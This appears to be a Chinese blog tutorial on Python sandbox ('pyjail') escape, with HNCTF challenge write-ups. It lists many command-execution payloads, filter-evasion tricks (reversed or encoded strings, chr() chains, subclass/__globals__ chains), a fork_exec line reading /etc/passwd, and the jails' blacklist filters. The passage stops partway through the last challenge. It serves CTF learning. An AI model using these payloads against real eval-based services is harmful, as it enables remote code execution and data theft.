前言
python沙箱逃逸(pyjail),在这些题目中,我们往往能够交互式地用 eval
或者 exec
执行 python 代码,在这个基础上,添加各种限制,即为 jail
基础知识可以看春哥的文章
实战部分结合空白爷在 HNCTF 出的题目来学习
两年后回望,只能说想要把 SSTI、Pickle 等 python 相关的题目玩明白,必须要有 PyJail 打好基础
或许它真能改变 pyjail:https://www.cnblogs.com/LAMENTXU/articles/19101758
参考:
https://dummykitty.github.io/posts/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%8E%9F%E7%90%86/
https://xz.aliyun.com/news/1990
eval 与 exec
这两个方法无论在任何语言里都是相当危险的
eval(source, /, globals=None, locals=None)
# source (str | code object) -- 一个 Python 表达式。
# globals (dict | None) -- 全局命名空间 (默认值: None)。
# locals (mapping | None) -- 局部命名空间 (默认值: None)。
exec(source, /, globals=None, locals=None, *, closure=None)
这里 exec 比 eval 还更具影响一点,后者不支持直接执行多行代码,需要使用 compile 函数并传入 exec 模式
eval(compile('__import__("os").system("ls")', '<string>', 'exec'))
Python 各种系统命令执行
以下均需要 import 相应的库
os
commands # python2
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')
subprocess.call('whoami', shell=True) # py2,py3
subprocess.check_call('whoami', shell=True) # py2,py3
subprocess.check_output('whoami', shell=True) # py2,py3
subprocess.Popen('whoami', shell=True) # py2,py3
timeit.sys
timeit.timeit("__import__('os').system('whoami')", number=1)
platform.os
platform.sys.modules['os'].system('ls')
platform.popen('whoami', mode='r', bufsize=-1).read()
pty.spawn('whoami') # 仅linux
pty.os
importlib.__import__('os').system('ls') # 仅py3
sys.modules['os'].system('whoami')
ctypes.CDLL(None).system('whoami'.encode())
threading.Thread(target=lambda: os.system('ls')).start()
__import__('multiprocessing').Process(target=lambda: __import__('os').system('ls')).start()
_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False) # 不同系统之间的参数数量有差异
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)
bdb.os
cgi.os
cgi.sys
# 仅交互式shell可用
help()
help> os
!sh
os 命令执行
print(os.system('whoami'))
print(os.popen('whoami').read())
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
import os
getattr(os, 'metsys'[::-1])('whoami')
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
import
多种 import 方式
import os
import os
import os
__import__('os')
importlib.import_module('os')
execfile('/usr/lib/python2.7/os.py') # python2
system('ls')
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')
# 库的路径获取:import sys;print(sys.path)
字符串操作
字符串反转:
__import__('so'[::-1]).system('ls')
字符串拼接:
a='o';b='s';__import__(a+b).system('ls')
???:十六进制 vs unicode vs base64 vs 字符串拼接 vs 格式化字符串
['__builtins__'] ==
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'] ==
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'] ==
['X19idWlsdGluc19f'.decode('base64')] ==
['__buil'+'tins__'] ==
['__buil''tins__'] ==
['__buil'.__add__('tins__')] ==
["_builtins_".join("__")] ==
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]
...
核心模块
sys.modules
sys.modules
是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。
有些库例如 os
是默认被加载进来的,但是不能直接使用(但是可以通过 sys.modules
来使用,例如 sys.modules["os"]
),原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。
del 重载
一些 waf 会直接在 sys.modules 上动刀,直接把库覆写
>>> sys.modules['os'] = 'not allowed'
>>> import os
>>> os.system('ls')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'
此时 os 就废了
需要注意的是此处不能用 del sys.modules['os']
,原因:当 import 一个模块时:import A,会先检查 sys.modules 中是否已经有 A;如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A
所以删了 sys.modules['os']
再导入只会让 Python 重新加载一次 os
那么针对上面的覆写也就有了对策,直接 del 掉它覆写的 os,重新 import 即可:
del sys.modules['os']
import os
os.system('ls')
还有使用 builtins 导入的方法
builtins
Python 中有很多函数不需要 import 就能直接使用,例如 chr
、open
。之所以可以这样,是因为 Python 有个 内建模块
(或者叫内建命名空间),它有一些常用函数,变量和类。
Python 对函数、变量、类等等的查找方式是按
LEGB
规则(Local -> Enclosed -> Global -> Built-in)来找的
- builtin、__builtin__:Py2 中内建模块被命名为
__builtin__
,需要 import 才能查看 - builtins:Py3,需要 import 才能查看
- __builtins__:Py2,Py3 两者都有
在 __builtins__ 里有很多可以利用的函数,我们可以用 __builtins__.__dict__
查看
{'__name__': 'builtins'
'__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices."
'__package__': ''
'__loader__': <class '_frozen_importlib.BuiltinImporter'>
'__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in')
'__build_class__': <built-in function __build_class__>
'__import__': <built-in function __import__>
'abs': <built-in function abs>
'all': <built-in function all>
'any': <built-in function any>
'ascii': <built-in function ascii>
'bin': <built-in function bin>
'breakpoint': <built-in function breakpoint>
'callable': <built-in function callable>
'chr': <built-in function chr>
'compile': <built-in function compile>
'delattr': <built-in function delattr>
'dir': <built-in function dir>
'divmod': <built-in function divmod>
'eval': <built-in function eval>
'exec': <built-in function exec>
'format': <built-in function format>
'getattr': <built-in function getattr>
'globals': <built-in function globals>
'hasattr': <built-in function hasattr>
'hash': <built-in function hash>
'hex': <built-in function hex>
'id': <built-in function id>
'input': <built-in function input>
'isinstance': <built-in function isinstance>
'issubclass': <built-in function issubclass>
'iter': <built-in function iter>
'len': <built-in function len>
'locals': <built-in function locals>
'max': <built-in function max>
'min': <built-in function min>
'next': <built-in function next>
'oct': <built-in function oct>
'ord': <built-in function ord>
'pow': <built-in function pow>
'print': <built-in function print>
'repr': <built-in function repr>
'round': <built-in function round>
'setattr': <built-in function setattr>
'sorted': <built-in function sorted>
'sum': <built-in function sum>
'vars': <built-in function vars>
'None': None
'Ellipsis': Ellipsis
'NotImplemented': NotImplemented
'False': False
'True': True
'bool': <class 'bool'>
'memoryview': <class 'memoryview'>
'bytearray': <class 'bytearray'>
'bytes': <class 'bytes'>
'classmethod': <class 'classmethod'>
'complex': <class 'complex'>
'dict': <class 'dict'>
'enumerate': <class 'enumerate'>
'filter': <class 'filter'>
'float': <class 'float'>
'frozenset': <class 'frozenset'>
'property': <class 'property'>
'int': <class 'int'>
'list': <class 'list'>
'map': <class 'map'>
'object': <class 'object'>
'range': <class 'range'>
'reversed': <class 'reversed'>
'set': <class 'set'>
'slice': <class 'slice'>
'staticmethod': <class 'staticmethod'>
'str': <class 'str'>
'super': <class 'super'>
'tuple': <class 'tuple'>
'type': <class 'type'>
'zip': <class 'zip'>
'__debug__': True
'BaseException': <class 'BaseException'>
'Exception': <class 'Exception'>
'TypeError': <class 'TypeError'>
'StopAsyncIteration': <class 'StopAsyncIteration'>
'StopIteration': <class 'StopIteration'>
'GeneratorExit': <class 'GeneratorExit'>
'SystemExit': <class 'SystemExit'>
'KeyboardInterrupt': <class 'KeyboardInterrupt'>
'ImportError': <class 'ImportError'>
'ModuleNotFoundError': <class 'ModuleNotFoundError'>
'OSError': <class 'OSError'>
'EnvironmentError': <class 'OSError'>
'IOError': <class 'OSError'>
'EOFError': <class 'EOFError'>
'RuntimeError': <class 'RuntimeError'>
'RecursionError': <class 'RecursionError'>
'NotImplementedError': <class 'NotImplementedError'>
'NameError': <class 'NameError'>
'UnboundLocalError': <class 'UnboundLocalError'>
'AttributeError': <class 'AttributeError'>
'SyntaxError': <class 'SyntaxError'>
'IndentationError': <class 'IndentationError'>
'TabError': <class 'TabError'>
'LookupError': <class 'LookupError'>
'IndexError': <class 'IndexError'>
'KeyError': <class 'KeyError'>
'ValueError': <class 'ValueError'>
'UnicodeError': <class 'UnicodeError'>
'UnicodeEncodeError': <class 'UnicodeEncodeError'>
'UnicodeDecodeError': <class 'UnicodeDecodeError'>
'UnicodeTranslateError': <class 'UnicodeTranslateError'>
'AssertionError': <class 'AssertionError'>
'ArithmeticError': <class 'ArithmeticError'>
'FloatingPointError': <class 'FloatingPointError'>
'OverflowError': <class 'OverflowError'>
'ZeroDivisionError': <class 'ZeroDivisionError'>
'SystemError': <class 'SystemError'>
'ReferenceError': <class 'ReferenceError'>
'MemoryError': <class 'MemoryError'>
'BufferError': <class 'BufferError'>
'Warning': <class 'Warning'>
'UserWarning': <class 'UserWarning'>
'DeprecationWarning': <class 'DeprecationWarning'>
'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>
'SyntaxWarning': <class 'SyntaxWarning'>
'RuntimeWarning': <class 'RuntimeWarning'>
'FutureWarning': <class 'FutureWarning'>
'ImportWarning': <class 'ImportWarning'>
'UnicodeWarning': <class 'UnicodeWarning'>
'BytesWarning': <class 'BytesWarning'>
'ResourceWarning': <class 'ResourceWarning'>
'ConnectionError': <class 'ConnectionError'>
'BlockingIOError': <class 'BlockingIOError'>
'BrokenPipeError': <class 'BrokenPipeError'>
'ChildProcessError': <class 'ChildProcessError'>
'ConnectionAbortedError': <class 'ConnectionAbortedError'>
'ConnectionRefusedError': <class 'ConnectionRefusedError'>
'ConnectionResetError': <class 'ConnectionResetError'>
'FileExistsError': <class 'FileExistsError'>
'FileNotFoundError': <class 'FileNotFoundError'>
'IsADirectoryError': <class 'IsADirectoryError'>
'NotADirectoryError': <class 'NotADirectoryError'>
'InterruptedError': <class 'InterruptedError'>
'PermissionError': <class 'PermissionError'>
'ProcessLookupError': <class 'ProcessLookupError'>
'TimeoutError': <class 'TimeoutError'>
'open': <built-in function open>
'quit': Use quit() or Ctrl-D (i.e. EOF) to exit
'exit': Use exit() or Ctrl-D (i.e. EOF) to exit
'copyright': Copyright (c) 2001-2021 Python Software Foundation.
}
x.__dict__
:x 内部所有属性名和属性值组成的字典
1.内置的数据类型没有__dict__
属性
2.每个类有自己的__dict__
属性,就算存着继承关系,父类的__dict__
并不会影响子类的__dict__
3.对象也有自己的__dict__
属性,包含self.xxx
这种实例属性
__builtins__.__dict__['__import__']('os').system('whoami')
reload 重载
和上面类似的 waf 操作,可以覆写或者 del 掉其中的危险函数:
__builtins__.__dict__['eval'] = 'not allowed'
del __builtins__.__dict__['eval']
但是在 python2 中,存在 reload
函数可以重新加载模块,这样被删除的函数就能重新加载
在 python3 中,reload 函数被移动到 imp / importlib 模块中,所以如果要使用 reload 函数,需要先导入 imp / importlib 模块
但是在我测试的 python 3.9.6 中,导入 imp 会由于 eval 已经被修改导致导入失败,导入 importlib 执行 importlib.reload(__builtins__)
也无法实现重置 eval
继承链绕过 no builtins
如果 builtins 本身被覆写的话,此时就需要尝试在其他已加载的对象中重新获取 builtins
eval(payload, {'__builtin__':{}})
Python 中,类本身具有一些静态方法,可以使用 dir()
进行查看
>>> dir(str)
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
而对于这些类的实例,可以直接调用这些静态方法,以 ''
这个字符串对象为例:
>>> ''.__class__ # 返回当前实例对象所属的类
<class 'str'>
而对于 str 类本身,由于 python 中一切皆对象,所以可以返回 str 所属的类
>>> ''.__class__.__class__ # 等价于 str.__class__
<class 'type'>
对于 type 类
>>> dir(''.__class__.__class__) # 等价于 dir(type)
['__abstractmethods__', '__base__', '__bases__', '__basicsize__', '__call__', '__class__', '__delattr__', '__dict__', '__dictoffset__', '__dir__', '__doc__', '__eq__', '__flags__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__instancecheck__', '__itemsize__', '__le__', '__lt__', '__module__', '__mro__', '__name__', '__ne__', '__new__', '__prepare__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasscheck__', '__subclasses__', '__subclasshook__', '__text_signature__', '__weakrefoffset__', 'mro']
有 __base__
和 __bases__
,还有 __mro__
, 因为 str 继承了 type 类,所以可以在 str 类下调用父类 type 里的方法
>>> ''.__class__.__base__ # __base__ 返回当前类的基类
<class 'object'>
>>> ''.__class__.__bases__ # 以元组形式返回
(<class 'object'>,)
>>> ''.__class__.__mro__ # 以元组形式返回类的继承关系
(<class 'str'>, <class 'object'>)
那么这里 str 类的基类就是 object
,object 是所有类的超类
注意,经典类需要指明继承 object 才会继承它,否则不会继承:
>>> class test:
... pass
...
>>> test.__bases__
()
>>> class test(object):
... pass
...
>>> test.__bases__
(<type 'object'>,)
那么这个 object 类下有啥呢,这里先讲一下 type 和 object 的关系:
Python 中一切皆对象,所以
object
是所有对象的最高层父类,而 object 本身又是一个类type
则是“类”的类,继承了 object 的同时又创建各种类,包括 object 类本身
要问两者的关系就像是先有鸡还是先有蛋一样,共生,必须同时出现
>>> type.__class__
<class 'type'>
>>> type.__base__
<class 'object'>
>>> object.__class__
<class 'type'>
所以同样的,object 也继承了 type 的方法,其中 __subclasses__
方法可以查看引用了这个类的直接子类:
>>> class A: pass
>>> class B(A): pass
>>> A.__subclasses__()
[<class 'B'>]
现在看一下 object 类的直接子类:
>>> for i in enumerate(''.__class__.__base__.__subclasses__()): print(i)
...
(0, <class 'type'>)
(1, <class 'weakref'>)
(2, <class 'weakcallableproxy'>)
(3, <class 'weakproxy'>)
(4, <class 'int'>)
(5, <class 'bytearray'>)
(6, <class 'bytes'>)
(7, <class 'list'>)
(8, <class 'NoneType'>)
(9, <class 'NotImplementedType'>)
(10, <class 'traceback'>)
(11, <class 'super'>)
(12, <class 'range'>)
(13, <class 'dict'>)
(14, <class 'dict_keys'>)
(15, <class 'dict_values'>)
(16, <class 'dict_items'>)
(17, <class 'dict_reversekeyiterator'>)
(18, <class 'dict_reversevalueiterator'>)
(19, <class 'dict_reverseitemiterator'>)
(20, <class 'odict_iterator'>)
(21, <class 'set'>)
(22, <class 'str'>)
(23, <class 'slice'>)
(24, <class 'staticmethod'>)
(25, <class 'complex'>)
(26, <class 'float'>)
(27, <class 'frozenset'>)
(28, <class 'property'>)
(29, <class 'managedbuffer'>)
(30, <class 'memoryview'>)
(31, <class 'tuple'>)
(32, <class 'enumerate'>)
(33, <class 'reversed'>)
(34, <class 'stderrprinter'>)
(35, <class 'code'>)
(36, <class 'frame'>)
(37, <class 'builtin_function_or_method'>)
(38, <class 'method'>)
(39, <class 'function'>)
(40, <class 'mappingproxy'>)
(41, <class 'generator'>)
(42, <class 'getset_descriptor'>)
(43, <class 'wrapper_descriptor'>)
(44, <class 'method-wrapper'>)
(45, <class 'ellipsis'>)
(46, <class 'member_descriptor'>)
(47, <class 'types.SimpleNamespace'>)
(48, <class 'PyCapsule'>)
(49, <class 'longrange_iterator'>)
(50, <class 'cell'>)
(51, <class 'instancemethod'>)
(52, <class 'classmethod_descriptor'>)
(53, <class 'method_descriptor'>)
(54, <class 'callable_iterator'>)
(55, <class 'iterator'>)
(56, <class 'pickle.PickleBuffer'>)
(57, <class 'coroutine'>)
(58, <class 'coroutine_wrapper'>)
(59, <class 'InterpreterID'>)
(60, <class 'EncodingMap'>)
(61, <class 'fieldnameiterator'>)
(62, <class 'formatteriterator'>)
(63, <class 'BaseException'>)
(64, <class 'hamt'>)
(65, <class 'hamt_array_node'>)
(66, <class 'hamt_bitmap_node'>)
(67, <class 'hamt_collision_node'>)
(68, <class 'keys'>)
(69, <class 'values'>)
(70, <class 'items'>)
(71, <class 'Context'>)
(72, <class 'ContextVar'>)
(73, <class 'Token'>)
(74, <class 'Token.MISSING'>)
(75, <class 'moduledef'>)
(76, <class 'module'>)
(77, <class 'filter'>)
(78, <class 'map'>)
(79, <class 'zip'>)
(80, <class '_frozen_importlib._ModuleLock'>)
(81, <class '_frozen_importlib._DummyModuleLock'>)
(82, <class '_frozen_importlib._ModuleLockManager'>)
(83, <class '_frozen_importlib.ModuleSpec'>)
(84, <class '_frozen_importlib.BuiltinImporter'>)
(85, <class 'classmethod'>)
(86, <class '_frozen_importlib.FrozenImporter'>)
(87, <class '_frozen_importlib._ImportLockContext'>)
(88, <class '_thread._localdummy'>)
(89, <class '_thread._local'>)
(90, <class '_thread.lock'>)
(91, <class '_thread.RLock'>)
(92, <class '_io._IOBase'>)
(93, <class '_io._BytesIOBuffer'>)
(94, <class '_io.IncrementalNewlineDecoder'>)
(95, <class 'posix.ScandirIterator'>)
(96, <class 'posix.DirEntry'>)
(97, <class '_frozen_importlib_external.WindowsRegistryFinder'>)
(98, <class '_frozen_importlib_external._LoaderBasics'>)
(99, <class '_frozen_importlib_external.FileLoader'>)
(100, <class '_frozen_importlib_external._NamespacePath'>)
(101, <class '_frozen_importlib_external._NamespaceLoader'>)
(102, <class '_frozen_importlib_external.PathFinder'>)
(103, <class '_frozen_importlib_external.FileFinder'>)
(104, <class 'zipimport.zipimporter'>)
(105, <class 'zipimport._ZipImportResourceReader'>)
(106, <class 'codecs.Codec'>)
(107, <class 'codecs.IncrementalEncoder'>)
(108, <class 'codecs.IncrementalDecoder'>)
(109, <class 'codecs.StreamReaderWriter'>)
(110, <class 'codecs.StreamRecoder'>)
(111, <class '_abc._abc_data'>)
(112, <class 'abc.ABC'>)
(113, <class 'dict_itemiterator'>)
(114, <class 'collections.abc.Hashable'>)
(115, <class 'collections.abc.Awaitable'>)
(116, <class 'types.GenericAlias'>)
(117, <class 'collections.abc.AsyncIterable'>)
(118, <class 'async_generator'>)
(119, <class 'collections.abc.Iterable'>)
(120, <class 'bytes_iterator'>)
(121, <class 'bytearray_iterator'>)
(122, <class 'dict_keyiterator'>)
(123, <class 'dict_valueiterator'>)
(124, <class 'list_iterator'>)
(125, <class 'list_reverseiterator'>)
(126, <class 'range_iterator'>)
(127, <class 'set_iterator'>)
(128, <class 'str_iterator'>)
(129, <class 'tuple_iterator'>)
(130, <class 'collections.abc.Sized'>)
(131, <class 'collections.abc.Container'>)
(132, <class 'collections.abc.Callable'>)
(133, <class 'os._wrap_close'>)
(134, <class '_sitebuiltins.Quitter'>)
(135, <class '_sitebuiltins._Printer'>)
(136, <class '_sitebuiltins._Helper'>)
(137, <class 'types.DynamicClassAttribute'>)
(138, <class 'types._GeneratorWrapper'>)
(139, <class 'warnings.WarningMessage'>)
(140, <class 'warnings.catch_warnings'>)
(141, <class 'itertools.accumulate'>)
(142, <class 'itertools.combinations'>)
(143, <class 'itertools.combinations_with_replacement'>)
(144, <class 'itertools.cycle'>)
(145, <class 'itertools.dropwhile'>)
(146, <class 'itertools.takewhile'>)
(147, <class 'itertools.islice'>)
(148, <class 'itertools.starmap'>)
(149, <class 'itertools.chain'>)
(150, <class 'itertools.compress'>)
(151, <class 'itertools.filterfalse'>)
(152, <class 'itertools.count'>)
(153, <class 'itertools.zip_longest'>)
(154, <class 'itertools.permutations'>)
(155, <class 'itertools.product'>)
(156, <class 'itertools.repeat'>)
(157, <class 'itertools.groupby'>)
(158, <class 'itertools._grouper'>)
(159, <class 'itertools._tee'>)
(160, <class 'itertools._tee_dataobject'>)
(161, <class 'operator.itemgetter'>)
(162, <class 'operator.attrgetter'>)
(163, <class 'operator.methodcaller'>)
(164, <class 'reprlib.Repr'>)
(165, <class 'collections.deque'>)
(166, <class '_collections._deque_iterator'>)
(167, <class '_collections._deque_reverse_iterator'>)
(168, <class '_collections._tuplegetter'>)
(169, <class 'collections._Link'>)
(170, <class 'functools.partial'>)
(171, <class 'functools._lru_cache_wrapper'>)
(172, <class 'functools.partialmethod'>)
(173, <class 'functools.singledispatchmethod'>)
(174, <class 'functools.cached_property'>)
(175, <class 'contextlib.ContextDecorator'>)
(176, <class 'contextlib._GeneratorContextManagerBase'>)
(177, <class 'contextlib._BaseExitStack'>)
(178, <class 'enum.auto'>)
(179, <enum 'Enum'>)
(180, <class 're.Pattern'>)
(181, <class 're.Match'>)
(182, <class '_sre.SRE_Scanner'>)
(183, <class 'sre_parse.State'>)
(184, <class 'sre_parse.SubPattern'>)
(185, <class 'sre_parse.Tokenizer'>)
(186, <class 're.Scanner'>)
(187, <class 'typing._Final'>)
(188, <class 'typing._Immutable'>)
(189, <class 'typing.Generic'>)
(190, <class 'typing._TypingEmpty'>)
(191, <class 'typing._TypingEllipsis'>)
(192, <class 'typing.Annotated'>)
(193, <class 'typing.NamedTuple'>)
(194, <class 'typing.TypedDict'>)
(195, <class 'typing.io'>)
(196, <class 'typing.re'>)
(197, <class 'importlib.abc.Finder'>)
(198, <class 'importlib.abc.Loader'>)
(199, <class 'importlib.abc.ResourceReader'>)
(200, <class '_distutils_hack._TrivialRe'>)
(201, <class '_distutils_hack.DistutilsMetaFinder'>)
(202, <class '_distutils_hack.shim'>)
(203, <class 'rlcompleter.Completer'>)
这里的子类有什么用呢?首先,在无法直接引入 os 的情况下,我们可以 import 一个已经导入了 os 的包来调用 os,例如 site
模块:
>>> import site
>>> site.os
<module 'os' from '/Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/os.py'>
这是在模块中导入另一个模块的方式,如果是调用了一个目标模块下的类,则需要用到 __globals__
对于上面获取的子类,由于 ''.__class__.__base__.__subclasses__()
返回的是一个 list,只能用索引进行访问,恰巧其中有一个os._wrap_close
类,接下来我们需要获取它导入的 os 模块,这里需要用到 __globals__
__globals__
是一个特殊属性,能够以 dict 的形式返回函数(注意是函数)所在模块命名空间的所有变量,其中包含了很多已经引入的 modules。
某些内置函数并没有__globals__
属性,因为这些函数并不是 Python 代码定义的,而是用 C 语言或其他底层语言实现的:builtin_function_or_method
或者是wrapper_descriptor
、method-wrapper
类型的函数,例如range
、range.__init__
、''.split
、os.system
等等
在使用 __globals__
之前,我们需要先实例化这个类的构造函数,即 __init__
,然后再获取它的 __globals__
>>> ''.__class__.__base__.__subclasses__()[133].__init__
<function _wrap_close.__init__ at 0x100854160>
>>> ''.__class__.__base__.__subclasses__()[133].__init__.__globals__
{'__name__': 'os', '__doc__': "...", '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x10080a310>, '__spec__': ModuleSpec(name='os', loader=<_frozen_importlib_external.SourceFileLoader object at 0x10080a310>...'system': <function system at 0x100854550>...'popen': <function popen at 0x100854040>
可以看到这里面直接包含了 system 等一系列函数,那么就可以直接调用它命令执行
''.__class__.__base__.__subclasses__()[133].__init__.__globals__['system']('whoami')
自动化构造类:使用列表推导式就可以在不知道类的索引的情况下,获取符合条件的类并执行
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
Audit Hook
参考:https://xz.aliyun.com/t/16228
audit hook 是 Python 3.8 中引入的新特性。
使用审计钩子来监控和记录 Python 程序在运行时的行为,特别是那些安全敏感的行为,如文件的读写、网络通信和动态代码的执行等。和 java 的 rasp 有点类似
Python 中的审计事件包括但不限于以下几类:审计事件表 — Python 3.8.20 文档
import
:发生在导入模块时。open
:发生在打开文件时。exec
:发生在执行Python代码时。compile
:发生在编译Python代码时。socket
:发生在创建或使用网络套接字时。os.system
,os.popen
等:发生在执行操作系统命令时。subprocess.Popen
,subprocess.run
等:发生在启动子进程时
实战
beginner
启动靶机,下载附件
获得python源码
#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`
WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))
发现存在eval
可以对输入的内容进行命令执行
nc连上靶机,可以看到提供了一个python交互环境
于是我们载入os模块进行命令执行,查目录,拿flag
__import__('os').system('sh')
python2 input(JAIL)
python2
题目源码
# It's escape this repeat!
WELCOME = '''
_ _ ___ ___ _____ _ _ _
| | | | / _ \ |__ \ |_ _| | | | | |
_ __ _ _| |_| |__ | | | |_ __ ) | | | _ __ _ __ | | | | |_
| '_ \| | | | __| '_ \| | | | '_ \ / / | | | '_ \| '_ \| | | | __|
| |_) | |_| | |_| | | | |_| | | | |/ /_ _| |_| | | | |_) | |__| | |_
| .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
| | __/ | | |
|_| |___/ |_|
'''
print WELCOME
print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data
语法上很明显是python2语法
- 在python 2中,
input
函数从标准输入接收输入,并且自动eval
求值,返回求出来的值; - 在python 2中,
raw_input
函数从标准输入接收输入,返回输入字符串; - 在python 3中,
input
函数从标准输入接收输入,返回输入字符串; - 可以认为,python 2
input()
= python 2eval(raw_input())
= python 3eval(input())
这题没有限制和过滤
直接命令执行即可
level 1
chr()
跟beginner比起来多加了过滤
def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))
能通过eval
执行任意命令,但是命令不能包含双引号、单引号、反引号、字母i
和字母b
这个时候可以考虑用字符编码来进行绕过
附上生成脚本
# 原始字符串
character = "__import__('os').system('ls')"
# 获取字符串的 ASCII 码值,并转换为对应的字符
ascii_chars = [chr(ord(c)) for c in character]
# 输出结果,拼接成 "chr()+chr()+..." 的形式
ascii_str = "+".join([f"chr({ord(c)})" for c in character])
print(ascii_str)
print("对应的字符为 {}".format(eval(ascii_str)))
之后和上题一样传入即可
注意要带上eval()
,才能进行命令执行,否则只是输出拼接结果
level 2
限制长度+逃逸
跟beginner比起来多了个长度限制13
if len(input_data)>13:
print("Oh hacker!")
exit(0)
我们最终要执行的语句
__import__('os').system('sh')
长度明显会超过13
但是我们知道在php命令执行中存在一种绕过方法是利用参数进行逃逸
例如:
?cmd=system($_POST[1]);&1=ls
python交互环境下也是如此
因为长度限制只针对input_data = input("> ")
所以只要我们再套一层eval语句
eval(input())
就可以再执行一次input,此时这个输入语句是不受长度限制的
从而我们可以拿到shell
level 2.5
breakpoint()
和level2比起来多加了一次关键词过滤
def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)
这过滤一加,既不能正常命令执行也不能通过再套一层的方式逃逸
这里也是一个姿势,利用breakpoint()
,能够进入到pdb模块
pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。
所以进去pdb模块之后就可以正常进行命令执行了
level 3
限制长度+help()
跟level2相比限制缩短到7,那level2.5的做法也失效了
if len(input_data)>7:
print("Oh hacker!")
exit(0)
这里要利用一个特殊的姿势,在python交互式终端中,可以通过help
函数来进行RCE
进入交互式后,随便查询一种用法
由于太多,会使用more进行展示,造成溢出
在后面使用!命令
即可造成命令执行
lake lake lake
全局变量泄露
题目源码
#it seems have a backdoor
#can u find the key of it and use the backdoor
fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"
def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass
def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")
WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''
print(WELCOME)
print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
